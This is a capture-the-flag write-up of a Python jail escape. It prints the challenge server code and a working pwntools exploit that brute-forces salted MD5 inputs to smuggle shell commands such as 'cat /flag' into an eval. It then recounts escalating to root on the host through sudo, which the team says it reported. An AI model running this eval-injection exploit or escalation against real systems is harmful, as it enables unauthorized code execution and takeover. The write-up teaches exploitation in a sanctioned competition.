solved in time of CTF
crypto category score



  • Python3




The smartblockchain challenge is a kind of pyjail escape leading to a remote code execution. The server code is provided and resumed below :


No servers where harmed during this ctf! 🐱

import hashlib
import sys
import os

def is_printable_ascii(c):
    string = chr(c)

    return string.isascii() and string.isprintable()

def make_payload(line, salt):
    hashed = hashlib.md5((salt + line).encode("utf8")).digest()

    code = filter(is_printable_ascii, hashed)

    return bytes(code).decode("ascii")

salt = os.urandom(8).hex()

print(f"Here is your salt: {salt}")


payload = ""

for line in sys.stdin:

    if line[-1] == "\n": line = line[:-1]

    payload += make_payload(line, salt)


The objective of the challenge is quite simple:

  1. Select a command we wish to execute
  2. Adapt the command to make it through “make_payload” function
  3. Send it in chunk to the server to fill the payload variable
  4. Break the loop
  5. Get Remote Code Execution through eval()

The"make_payload function is quite trivial, it generates a salted md5 hash of our input as a string of bytes (notice the .digest and not the .hexdigest). Then the salter hash is filtered to keep only the printable characters.

The way to solve the make_payload step is to fuzz the input and to keep only the input that provide a single printable character as an output, which possibly in included in the character list of our payload.

The way to break the “sys.stdin” has required a bit more of research until we notice the following pwntools functions proc.shutdown(direction=“send”) that stop sending input to the server and achieved the desired goal of breaking the loop.

The final exploit looks like:

from pwn import *
import hashlib
import string
import random
import os
import time

context.log_level = 'critical'

url  = ''
port = 8333

url_debug  = ''
port_debug = 1337

def Get_proc():
	proc = remote(url,port) if args.REMOTE else remote(url_debug,port_debug)
	proc.recvuntil(b'Here is your salt: ')
	return proc

def is_printable_ascii(c):
    return chr(c).isascii() and chr(c).isprintable()

def Gen_map(salt,cmd):
	mapping = {}
	while(len(set(cmd)) != len(mapping)):
		line = ''.join(random.choice(string.ascii_lowercase) for i in range(5))
		ciphered = bytes(filter(is_printable_ascii, hashlib.md5((salt + line).encode("utf8")).digest())).decode("ascii")
		if(len(ciphered) == 1 and ciphered in cmd and ciphered not in mapping.keys()):
			mapping[ciphered] = line
	return mapping

def Gen_payload(mapping,cmd):
	payload = b''
	for letter in cmd:
		payload += bytes(mapping[letter],'utf-8') + b'\n'
	return payload[:-1]

while 1:
	pl = input(">>>").strip()

	proc = Get_proc()
	salt = proc.recvline().decode().strip()

	print('Seed: %s'%salt)

	#cmd = "print(os.popen('cat /flag').read())"
	cmd = "print(os.popen('"+pl+"').read())"
	mapping = Gen_map(salt,cmd)
	payload = Gen_payload(mapping,cmd)

	print('Payload :%s'%payload)



Then we get the flag as indicated in the description…

Wait what ?!

Then, we explore a bit the / folder of the challenge to see if we find a juicy file.

Nothing there, then the home folder !

Wait what ?! .sudo_as_admin_successul ?

Let’s check something obvious sudo -l 🔥

is it real ?

root ! from that point forward, we did inform the CTF admin of this weakness … we could also have mined some real bitcoins as well 💰

The CTF was fun and we did not interfere with it, we get the flag and associated the points :)

Electro [The Magician], Vozec [The Fool] and Leslato [The Tower].